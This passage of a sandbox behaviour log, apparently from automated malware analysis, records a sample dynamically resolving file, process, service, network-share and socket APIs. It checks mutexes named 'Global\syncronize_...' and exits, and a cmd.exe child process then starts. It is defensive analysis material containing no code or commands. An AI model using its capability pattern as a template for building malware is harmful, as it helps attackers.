lpProcName="FindNextFileW") returned 0x76e254ee [0127.426] GetProcAddress (hModule=0x76e10000, lpProcName="FindClose") returned 0x76e24442 [0127.426] GetProcAddress (hModule=0x76e10000, lpProcName="MoveFileW") returned 0x76e39af0 [0127.426] GetProcAddress (hModule=0x76e10000, lpProcName="GetFileSizeEx") returned 0x76e259e2 [0127.426] GetProcAddress (hModule=0x76e10000, lpProcName="GetModuleFileNameW") returned 0x76e24950 [0127.426] GetProcAddress (hModule=0x76e10000, lpProcName="GetFileAttributesW") returned 0x76e21b18 [0127.426] GetProcAddress (hModule=0x76e10000, lpProcName="ExitProcess") returned 0x76e27a10 [0127.426] GetProcAddress (hModule=0x76e10000, lpProcName="GetCommandLineW") returned 0x76e25223 [0127.426] GetProcAddress (hModule=0x76e10000, lpProcName="GetComputerNameW") returned 0x76e2dd0e [0127.427] GetProcAddress (hModule=0x76e10000, lpProcName="GetComputerNameA") returned 0x76e3b6e0 [0127.427] GetProcAddress (hModule=0x76e10000, lpProcName="CreateMutexW") returned 0x76e2424c [0127.427] GetProcAddress (hModule=0x76e10000, lpProcName="lstrlenW") returned 0x76e21700 [0127.427] GetProcAddress (hModule=0x76e10000, lpProcName="lstrlenA") returned 0x76e25a4b [0127.427] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentProcess") returned 0x76e21809 [0127.427] GetProcAddress (hModule=0x76e10000, lpProcName="WaitForSingleObject") returned 0x76e21136 [0127.427] GetProcAddress (hModule=0x76e10000, lpProcName="GetLogicalDrives") returned 0x76e25371 [0127.427] GetProcAddress (hModule=0x76e10000, lpProcName="GetTickCount") returned 0x76e2110c [0127.428] GetProcAddress (hModule=0x76e10000, lpProcName="DeleteFileW") returned 0x76e289b3 [0127.428] GetProcAddress (hModule=0x76e10000, lpProcName="WideCharToMultiByte") returned 0x76e2170d [0127.428] GetProcAddress (hModule=0x76e10000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x76e21916 [0127.428] GetProcAddress (hModule=0x76e10000, lpProcName="Sleep") returned 0x76e210ff [0127.428] GetProcAddress (hModule=0x76e10000, lpProcName="LeaveCriticalSection") returned 0x77842270 [0127.428] GetProcAddress (hModule=0x76e10000, lpProcName="ReadFile") returned 0x76e23ed3 [0127.428] GetProcAddress (hModule=0x76e10000, lpProcName="CreateFileW") returned 0x76e23f5c [0127.428] GetProcAddress (hModule=0x76e10000, lpProcName="OpenMutexW") returned 0x76e25151 [0127.428] GetProcAddress (hModule=0x76e10000, lpProcName="EnterCriticalSection") returned 0x778422b0 [0127.428] GetProcAddress (hModule=0x76e10000, lpProcName="WaitForMultipleObjects") returned 0x76e24220 [0127.428] GetProcAddress (hModule=0x76e10000, lpProcName="lstrcmpiW") returned 0x76e3d5cd [0127.428] GetProcAddress (hModule=0x76e10000, lpProcName="lstrcmpiA") returned 0x76e23e8e [0127.428] GetProcAddress (hModule=0x76e10000, lpProcName="DeleteCriticalSection") returned 0x778545f5 [0127.428] GetProcAddress (hModule=0x76e10000, lpProcName="ReleaseMutex") returned 0x76e2111e [0127.428] GetProcAddress (hModule=0x76e10000, lpProcName="CloseHandle") returned 0x76e21410 [0127.428] GetProcAddress (hModule=0x76e10000, lpProcName="GetVersion") returned 0x76e24467 [0127.428] GetProcAddress (hModule=0x76e10000, lpProcName="CreateThread") returned 0x76e234d5 [0127.428] GetProcAddress (hModule=0x76e10000, lpProcName="ExpandEnvironmentStringsW") returned 0x76e24173 [0127.428] GetProcAddress (hModule=0x76e10000, lpProcName="QueryPerformanceCounter") returned 0x76e21725 [0127.428] GetProcAddress (hModule=0x76e10000, lpProcName="QueryPerformanceFrequency") returned 0x76e241f0 [0127.428] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentProcessId") returned 0x76e211f8 [0127.429] GetProcAddress (hModule=0x76e10000, lpProcName="SetFileAttributesW") returned 0x76e3d4f7 [0127.429] GetProcAddress (hModule=0x76e10000, lpProcName="GetVolumeInformationW") returned 0x76e3c860 [0127.429] GetProcAddress (hModule=0x76e10000, lpProcName="WriteFile") returned 0x76e21282 [0127.429] GetProcAddress (hModule=0x76e10000, lpProcName="SetFilePointerEx") returned 0x76e3c807 [0127.429] GetProcAddress (hModule=0x76e10000, lpProcName="SetEndOfFile") returned 0x76e3ce2e [0127.429] GetProcAddress (hModule=0x76e10000, lpProcName="FindFirstFileW") returned 0x76e24435 [0127.429] GetProcAddress (hModule=0x76e10000, lpProcName="GetProcessHeap") returned 0x76e214e9 [0127.429] GetProcAddress (hModule=0x76e10000, lpProcName="HeapReAlloc") returned 0x77861f6e [0127.429] GetProcAddress (hModule=0x76e10000, lpProcName="HeapAlloc") returned 0x7784e026 [0127.429] GetProcAddress (hModule=0x76e10000, lpProcName="HeapFree") returned 0x76e214c9 [0127.429] GetProcAddress (hModule=0x76e10000, lpProcName="CreatePipe") returned 0x76ea415b [0127.429] GetProcAddress (hModule=0x76e10000, lpProcName="SetHandleInformation") returned 0x76e3195c [0127.429] GetProcAddress (hModule=0x76e10000, lpProcName="CreateProcessW") returned 0x76e2103d [0127.429] GetProcAddress (hModule=0x76e10000, lpProcName="CompareStringW") returned 0x76e23bca [0127.429] GetProcAddress (hModule=0x76e10000, lpProcName="CompareStringA") returned 0x76e23c5a [0127.429] GetProcAddress (hModule=0x76e10000, lpProcName="OpenProcess") returned 0x76e21986 [0127.429] GetProcAddress (hModule=0x76e10000, lpProcName="TerminateProcess") returned 0x76e3d802 [0127.429] GetProcAddress (hModule=0x76e10000, lpProcName="GetSystemTime") returned 0x76e25a96 [0127.429] GetProcAddress (hModule=0x76e10000, lpProcName="SystemTimeToFileTime") returned 0x76e25a7e [0127.429] GetProcAddress (hModule=0x76e10000, lpProcName="GetLastError") returned 0x76e211c0 [0127.430] GetProcAddress (hModule=0x76e10000, lpProcName="CreateToolhelp32Snapshot") returned 0x76e4735f [0127.430] GetProcAddress (hModule=0x76e10000, lpProcName="Process32NextW") returned 0x76e4896c [0127.430] GetProcAddress (hModule=0x76e10000, lpProcName="Process32FirstW") returned 0x76e48baf [0127.430] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x770c0000 [0127.441] GetProcAddress (hModule=0x770c0000, lpProcName="RegOpenKeyExW") returned 0x770d468d [0127.441] GetProcAddress (hModule=0x770c0000, lpProcName="RegQueryValueExW") returned 0x770d46ad [0127.441] GetProcAddress (hModule=0x770c0000, lpProcName="RegSetValueExW") returned 0x770d14d6 [0127.441] GetProcAddress (hModule=0x770c0000, lpProcName="RegCloseKey") returned 0x770d469d [0127.441] GetProcAddress (hModule=0x770c0000, lpProcName="OpenProcessToken") returned 0x770d4304 [0127.441] GetProcAddress (hModule=0x770c0000, lpProcName="GetTokenInformation") returned 0x770d431c [0127.441] GetProcAddress (hModule=0x770c0000, lpProcName="OpenSCManagerW") returned 0x770cca64 [0127.441] GetProcAddress (hModule=0x770c0000, lpProcName="OpenServiceW") returned 0x770cca4c [0127.441] GetProcAddress (hModule=0x770c0000, lpProcName="CloseServiceHandle") returned 0x770d369c [0127.441] GetProcAddress (hModule=0x770c0000, lpProcName="ControlService") returned 0x770e7144 [0127.441] GetProcAddress (hModule=0x770c0000, lpProcName="QueryServiceStatus") returned 0x770d2a86 [0127.441] GetProcAddress (hModule=0x770c0000, lpProcName="EnumDependentServicesW") returned 0x770c1e3a [0127.441] GetProcAddress (hModule=0x770c0000, lpProcName="EnumServicesStatusExW") returned 0x770cb466 [0127.442] LoadLibraryA (lpLibFileName="user32.dll") returned 0x753f0000 [0127.455] GetProcAddress (hModule=0x753f0000, lpProcName="SystemParametersInfoW") returned 0x754090d3 [0127.455] LoadLibraryA (lpLibFileName="Shell32.dll") returned 0x75520000 [0127.459] GetProcAddress (hModule=0x75520000, lpProcName="ShellExecuteExW") returned 0x75541e46 [0127.459] LoadLibraryA (lpLibFileName="ntdll.dll") returned 0x77820000 [0127.459] GetProcAddress (hModule=0x77820000, lpProcName="NtQuerySystemInformation") returned 0x7783fda0 [0127.459] LoadLibraryA (lpLibFileName="mpr.dll") returned 0x739c0000 [0127.461] GetProcAddress (hModule=0x739c0000, lpProcName="WNetCloseEnum") returned 0x739c2dd6 [0127.461] GetProcAddress (hModule=0x739c0000, lpProcName="WNetOpenEnumW") returned 0x739c2f06 [0127.461] GetProcAddress (hModule=0x739c0000, lpProcName="WNetEnumResourceW") returned 0x739c3058 [0127.461] LoadLibraryA (lpLibFileName="ws2_32.dll") returned 0x769a0000 [0127.463] GetProcAddress (hModule=0x769a0000, lpProcName="WSAStartup") returned 0x769a3ab2 [0127.463] GetProcAddress (hModule=0x769a0000, lpProcName="socket") returned 0x769a3eb8 [0127.463] GetProcAddress (hModule=0x769a0000, lpProcName="send") returned 0x769a6f01 [0127.463] GetProcAddress (hModule=0x769a0000, lpProcName="recv") returned 0x769a6b0e [0127.463] GetProcAddress (hModule=0x769a0000, lpProcName="connect") returned 0x769a6bdd [0127.464] GetProcAddress (hModule=0x769a0000, lpProcName="closesocket") returned 0x769a3918 [0127.879] GetProcAddress (hModule=0x769a0000, lpProcName="gethostbyname") returned 0x769b7673 [0127.879] GetProcAddress (hModule=0x769a0000, lpProcName="inet_addr") returned 0x769a311b [0127.879] GetProcAddress (hModule=0x769a0000, lpProcName="ntohl") returned 0x769a2d57 [0127.879] GetProcAddress (hModule=0x769a0000, lpProcName="htonl") returned 0x769a2d57 [0127.879] GetProcAddress (hModule=0x769a0000, lpProcName="htons") returned 0x769a2d8b [0127.879] GetProcessHeap () returned 0x2a0000 [0127.879] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2b4390 [0127.879] QueryPerformanceCounter (in: lpPerformanceCount=0x18fdb8 | out: lpPerformanceCount=0x18fdb8*=6720259873) returned 1 [0127.879] GetTickCount () returned 0x1130178 [0127.879] GetCurrentProcessId () returned 0x570 [0127.880] GetTickCount () returned 0x1130178 [0127.880] GetTickCount () returned 0x1130178 [0127.880] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2b43b8 [0127.880] GetVersion () returned 0x1db10106 [0127.880] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x7) returned 0x2a3978 [0127.880] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2b0e98 [0127.880] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2b0e98, Size=0x20) returned 0x2b4408 [0127.880] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2b4408, Size=0x40) returned 0x2b4978 [0127.880] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xfffe) returned 0x2b4c28 [0127.880] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_3G6885A") returned 0x84 [0127.880] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2a3978 | out: hHeap=0x2a0000) returned 1 [0127.881] lstrlenW (lpString="Global\\syncronize_") returned 18 [0127.881] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2b4978 | out: hHeap=0x2a0000) returned 1 [0127.881] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x7) returned 0x2a3978 [0127.881] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2b0e98 [0127.881] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2b0e98, Size=0x20) returned 0x2b4408 [0127.881] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2b4408, Size=0x40) returned 0x2b4978 [0127.881] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xfffe) returned 0x2c4c30 [0127.881] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_3G6885U") returned 0x88 [0127.881] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2a3978 | out: hHeap=0x2a0000) returned 1 [0127.881] lstrlenW (lpString="Global\\syncronize_") returned 18 [0127.881] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2b4978 | out: hHeap=0x2a0000) returned 1 [0127.881] GetVersion () returned 0x1db10106 [0127.881] GetCurrentProcess () returned 0xffffffff [0127.881] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x18fda4 | out: TokenHandle=0x18fda4*=0x8c) returned 1 [0127.881] GetTokenInformation (in: TokenHandle=0x8c, TokenInformationClass=0x14, TokenInformation=0x18fda0, TokenInformationLength=0x4, ReturnLength=0x18fdac | out: TokenInformation=0x18fda0, ReturnLength=0x18fdac) returned 1 [0127.881] CloseHandle (hObject=0x8c) returned 1 [0127.881] WaitForSingleObject (hHandle=0x88, dwMilliseconds=0x0) returned 0x102 [0127.881] ExitProcess (uExitCode=0x0) Process: id = "9" image_name = "cmd.exe" filename = "c:\\windows\\system32\\cmd.exe" page_root = "0x7456d000" os_pid = "0x658" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "7" os_parent_pid = "0x568" cmd_line = "\"C:\\Windows\\system32\\cmd.exe\"" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9a0" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 45 os_tid = 0x65c [0131.160] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x15f870 | out: lpSystemTimeAsFileTime=0x15f870*(dwLowDateTime=0x97cc680, dwHighDateTime=0x1d58aa9)) [0131.160] GetCurrentProcessId () returned 0x658 [0131.160] GetCurrentThreadId () returned 0x65c [0131.160] GetTickCount () returned 0x1130e15 [0131.161] QueryPerformanceCounter (in: lpPerformanceCount=0x15f878 | out: lpPerformanceCount=0x15f878*=7048638543) returned 1 [0131.164] GetModuleHandleW (lpModuleName=0x0) returned 0x4a390000 [0131.164] __set_app_type (_Type=0x1) [0131.165] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4a3b7810) returned 0x0 [0131.165] __getmainargs (in: _Argc=0x4a3da608, _Argv=0x4a3da618, _Env=0x4a3da610, _DoWildCard=0, _StartInfo=0x4a3be0f4 | out: _Argc=0x4a3da608, _Argv=0x4a3da618, _Env=0x4a3da610) returned 0 [0131.166] GetCurrentThreadId () returned 0x65c [0131.166] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x65c) returned 0x3c [0131.166] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x77420000 [0131.166] GetProcAddress (hModule=0x77420000, lpProcName="SetThreadUILanguage") returned 0x77436d40 [0131.166] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0131.166] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0131.167] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x15f808 | out: phkResult=0x15f808*=0x0) returned 0x2 [0131.167] VirtualQuery (in: lpAddress=0x15f7f0, lpBuffer=0x15f770, dwLength=0x30 | out: lpBuffer=0x15f770*(BaseAddress=0x15f000, AllocationBase=0x60000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0131.167] VirtualQuery (in: lpAddress=0x60000, lpBuffer=0x15f770, dwLength=0x30 | out: lpBuffer=0x15f770*(BaseAddress=0x60000, AllocationBase=0x60000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0131.167] VirtualQuery (in: lpAddress=0x61000, lpBuffer=0x15f770, dwLength=0x30 | out: lpBuffer=0x15f770*(BaseAddress=0x61000, AllocationBase=0x60000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30 [0131.167] VirtualQuery (in: lpAddress=0x64000, lpBuffer=0x15f770, dwLength=0x30 | out: lpBuffer=0x15f770*(BaseAddress=0x64000, AllocationBase=0x60000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0131.167] VirtualQuery (in: lpAddress=0x160000, lpBuffer=0x15f770, dwLength=0x30 | out: lpBuffer=0x15f770*(BaseAddress=0x160000, AllocationBase=0x160000, AllocationProtect=0x2, __alignment1=0x0, RegionSize=0x67000, State=0x1000, Protect=0x2, Type=0x40000, __alignment2=0x0)) returned 0x30 [0131.167] GetConsoleOutputCP () returned 0x1b5 [0131.167] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a3cbfe0 | out: lpCPInfo=0x4a3cbfe0) returned 1 [0131.168] SetConsoleCtrlHandler (HandlerRoutine=0x4a3b3184, Add=1) returned 1 [0131.168] _get_osfhandle (_FileHandle=1) returned 0xf4 [0131.168] SetConsoleMode (hConsoleHandle=0xf4, dwMode=0x0) returned 0 [0131.168] _get_osfhandle (_FileHandle=1) returned 0xf4 [0131.168] GetConsoleMode (in: hConsoleHandle=0xf4, lpMode=0x4a3be194 | out: lpMode=0x4a3be194) returned 0 [0131.168] _get_osfhandle (_FileHandle=0) returned 0xe8 [0131.168] GetConsoleMode (in: hConsoleHandle=0xe8, lpMode=0x4a3be198 | out: lpMode=0x4a3be198) returned 0 [0131.168] GetEnvironmentStringsW () returned 0x248aa0* [0131.169] GetProcessHeap () returned 0x230000 [0131.169] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0xab4) returned 0x249560 [0131.169] FreeEnvironmentStringsW (penv=0x248aa0) returned 1 [0131.169] GetProcessHeap () returned 0x230000 [0131.169] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x8) returned 0x248920 [0131.169] GetEnvironmentStringsW () returned 0x248aa0* [0131.169] GetProcessHeap () returned 0x230000 [0131.169] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0xab4) returned 0x24a020 [0131.169] FreeEnvironmentStringsW (penv=0x248aa0) returned 1 [0131.169] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x15e6c8 | out: phkResult=0x15e6c8*=0x44) returned 0x0 [0131.169] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x15e6c0, lpData=0x15e6e0, lpcbData=0x15e6c4*=0x1000 | out: lpType=0x15e6c0*=0x0, lpData=0x15e6e0*=0x18, lpcbData=0x15e6c4*=0x1000) returned 0x2 [0131.169] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x15e6c0, lpData=0x15e6e0, lpcbData=0x15e6c4*=0x1000 | out: lpType=0x15e6c0*=0x4, lpData=0x15e6e0*=0x1, lpcbData=0x15e6c4*=0x4) returned 0x0 [0131.169] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x15e6c0, lpData=0x15e6e0, lpcbData=0x15e6c4*=0x1000 | out: lpType=0x15e6c0*=0x0, lpData=0x15e6e0*=0x1, lpcbData=0x15e6c4*=0x1000) returned 0x2 [0131.169] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x15e6c0, lpData=0x15e6e0, lpcbData=0x15e6c4*=0x1000 | out: lpType=0x15e6c0*=0x4, lpData=0x15e6e0*=0x0, lpcbData=0x15e6c4*=0x4) returned 0x0 [0131.169] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x15e6c0, lpData=0x15e6e0, lpcbData=0x15e6c4*=0x1000 | out: lpType=0x15e6c0*=0x4, lpData=0x15e6e0*=0x40, lpcbData=0x15e6c4*=0x4) returned 0x0 [0131.169] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x15e6c0, lpData=0x15e6e0, lpcbData=0x15e6c4*=0x1000 | out: lpType=0x15e6c0*=0x4, lpData=0x15e6e0*=0x40, lpcbData=0x15e6c4*=0x4) returned 0x0 [0131.170] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x15e6c0, lpData=0x15e6e0, lpcbData=0x15e6c4*=0x1000 | out: lpType=0x15e6c0*=0x0, lpData=0x15e6e0*=0x40, lpcbData=0x15e6c4*=0x1000) returned 0x2 [0131.170] RegCloseKey (hKey=0x44) returned 0x0 [0131.170] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x15e6c8 | out: phkResult=0x15e6c8*=0x44) returned 0x0 [0131.170] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x15e6c0, lpData=0x15e6e0, lpcbData=0x15e6c4*=0x1000 | out: lpType=0x15e6c0*=0x0, lpData=0x15e6e0*=0x40, lpcbData=0x15e6c4*=0x1000) returned 0x2 [0131.170] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x15e6c0, lpData=0x15e6e0, lpcbData=0x15e6c4*=0x1000 | out: lpType=0x15e6c0*=0x4, lpData=0x15e6e0*=0x1, lpcbData=0x15e6c4*=0x4) returned 0x0 [0131.170] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x15e6c0, lpData=0x15e6e0, lpcbData=0x15e6c4*=0x1000 | out: lpType=0x15e6c0*=0x0, lpData=0x15e6e0*=0x1, lpcbData=0x15e6c4*=0x1000) returned 0x2 [0131.170] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x15e6c0, lpData=0x15e6e0, lpcbData=0x15e6c4*=0x1000 | out: lpType=0x15e6c0*=0x4, lpData=0x15e6e0*=0x0, lpcbData=0x15e6c4*=0x4) returned 0x0 [0131.170] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x15e6c0, lpData=0x15e6e0, lpcbData=0x15e6c4*=0x1000 | out: lpType=0x15e6c0*=0x4, lpData=0x15e6e0*=0x9, lpcbData=0x15e6c4*=0x4) returned 0x0 [0131.170] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x15e6c0, lpData=0x15e6e0, lpcbData=0x15e6c4*=0x1000 | out: lpType=0x15e6c0*=0x4, lpData=0x15e6e0*=0x9, lpcbData=0x15e6c4*=0x4) returned 0x0 [0131.170] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x15e6c0, lpData=0x15e6e0, lpcbData=0x15e6c4*=0x1000 | out: lpType=0x15e6c0*=0x0, lpData=0x15e6e0*=0x9, lpcbData=0x15e6c4*=0x1000) returned 0x2 [0131.170] RegCloseKey (hKey=0x44) returned 0x0 [0131.170] time (in: timer=0x0 | out: timer=0x0) returned 0x5db2087d [0131.170] srand (_Seed=0x5db2087d) [0131.170] GetCommandLineW () returned="\"C:\\Windows\\system32\\cmd.exe\"" [0131.170] GetCommandLineW () returned="\"C:\\Windows\\system32\\cmd.exe\"" [0131.171] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a3cc0a0 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0131.171] GetProcessHeap () returned 0x230000 [0131.171] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x218) returned 0x24aae0 [0131.171] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x24aaf0, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b [0131.171] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a3bf360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0131.171] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a3bf360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0131.171] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a3bf360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0131.171] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0131.171] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0131.171] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0131.171] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0131.171] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0131.172] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0131.172] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0131.172] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0131.172] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0131.172] GetProcessHeap () returned 0x230000 [0131.172] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x249560 | out: hHeap=0x230000) returned 1 [0131.172] GetEnvironmentStringsW () returned 0x248aa0* [0131.172] GetProcessHeap () returned 0x230000 [0131.172] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0xacc) returned 0x24ad00 [0131.172] FreeEnvironmentStringsW (penv=0x248aa0) returned 1 [0131.172] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4a3bf360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0131.172] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4a3bf360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0131.172] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0131.172] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0131.172] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0131.172] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0131.172] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0131.172] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0131.172] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0131.172] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0131.172] GetProcessHeap () returned 0x230000 [0131.172] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x38) returned 0x2464d0 [0131.172] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x15f4d0 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0131.172] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x104, lpBuffer=0x15f4d0, lpFilePart=0x15f4b0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x15f4b0*="system32") returned 0x13 [0131.173] GetFileAttributesW (lpFileName="C:\\Windows\\system32" (normalized: "c:\\windows\\system32")) returned 0x10 [0131.173] FindFirstFileW (in: lpFileName="C:\\Windows", lpFindFileData=0x15f1e0 | out: lpFindFileData=0x15f1e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fb4a840, ftLastAccessTime.dwHighDateTime=0x1d4d57d, ftLastWriteTime.dwLowDateTime=0x2fb4a840, ftLastWriteTime.dwHighDateTime=0x1d4d57d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x59000158, cFileName="Windows", cAlternateFileName="")) returned 0x24b7e0 [0131.173] FindClose (in: hFindFile=0x24b7e0 | out: hFindFile=0x24b7e0) returned 1 [0131.173] FindFirstFileW (in: lpFileName="C:\\Windows\\system32", lpFindFileData=0x15f1e0 | out: lpFindFileData=0x15f1e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfec9a6f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xcc95fc50, ftLastAccessTime.dwHighDateTime=0x1d58aa8, ftLastWriteTime.dwLowDateTime=0xcc95fc50, ftLastWriteTime.dwHighDateTime=0x1d58aa8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x59000158, cFileName="System32", cAlternateFileName="")) returned 0x24b7e0 [0131.173] FindClose (in: hFindFile=0x24b7e0 | out: hFindFile=0x24b7e0) returned 1 [0131.173] GetFileAttributesW (lpFileName="C:\\Windows\\System32" (normalized: "c:\\windows\\system32")) returned 0x10 [0131.173] SetCurrentDirectoryW (lpPathName="C:\\Windows\\System32" (normalized: 